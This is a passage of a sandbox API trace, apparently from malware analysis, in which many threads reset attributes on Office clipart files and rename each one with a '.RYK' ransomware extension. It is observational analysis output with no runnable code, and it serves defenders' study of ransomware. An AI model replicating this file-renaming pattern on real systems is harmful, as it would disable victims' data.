	[0233.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1380
	os_tid = 0x1bc8

	[0233.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", dwFileAttributes=0x80) returned 0
	[0233.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1381
	os_tid = 0x1bcc

	[0233.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", dwFileAttributes=0x80) returned 0
	[0233.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1382
	os_tid = 0x1bd0

	[0233.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", dwFileAttributes=0x80) returned 0
	[0233.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1383
	os_tid = 0x1bd4

	[0233.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", dwFileAttributes=0x80) returned 0
	[0233.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1384
	os_tid = 0x1bd8

	[0233.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF", dwFileAttributes=0x80) returned 0
	[0233.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1385
	os_tid = 0x1bdc

	[0233.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF", dwFileAttributes=0x80) returned 0
	[0233.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1386
	os_tid = 0x1be0

	[0233.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF", dwFileAttributes=0x80) returned 0
	[0233.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.496] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1387
	os_tid = 0x1be4

	[0233.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF", dwFileAttributes=0x80) returned 0
	[0233.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.497] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1388
	os_tid = 0x1be8

	[0233.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF", dwFileAttributes=0x80) returned 0
	[0233.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.501] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1389
	os_tid = 0x1bec

	[0233.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF", dwFileAttributes=0x80) returned 0
	[0233.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1390
	os_tid = 0x1bf0

	[0233.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF", dwFileAttributes=0x80) returned 0
	[0233.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.506] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1391
	os_tid = 0x1bf4

	[0233.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF", dwFileAttributes=0x80) returned 0
	[0233.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.504] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1392
	os_tid = 0x1bf8

	[0233.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF", dwFileAttributes=0x80) returned 0
	[0233.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1393
	os_tid = 0x1bfc

	[0233.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF", dwFileAttributes=0x80) returned 0
	[0233.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.508] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1394
	os_tid = 0x11e4

	[0233.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF", dwFileAttributes=0x80) returned 0
	[0233.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1395
	os_tid = 0x121c

	[0233.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF", dwFileAttributes=0x80) returned 0
	[0233.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1396
	os_tid = 0xde8

	[0233.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF", dwFileAttributes=0x80) returned 0
	[0233.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1397
	os_tid = 0x1034

	[0233.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF", dwFileAttributes=0x80) returned 0
	[0233.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1398
	os_tid = 0x1148

	[0233.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF", dwFileAttributes=0x80) returned 0
	[0233.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1399
	os_tid = 0x488

	[0233.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF", dwFileAttributes=0x80) returned 0
	[0233.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.513] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1400
	os_tid = 0x1208

	[0233.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF", dwFileAttributes=0x80) returned 0
	[0233.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.511] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1401
	os_tid = 0x78c

	[0233.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF", dwFileAttributes=0x80) returned 0
	[0233.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.509] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1402
	os_tid = 0x1140

	[0233.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF", dwFileAttributes=0x80) returned 0
	[0233.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.626] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1403
	os_tid = 0x1048

	[0233.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF", dwFileAttributes=0x80) returned 0
	[0233.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.625] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1404
	os_tid = 0x1178

	[0233.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF", dwFileAttributes=0x80) returned 0
	[0233.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.624] CloseHandle (hObject=0xffffffffffffffff) returned 0
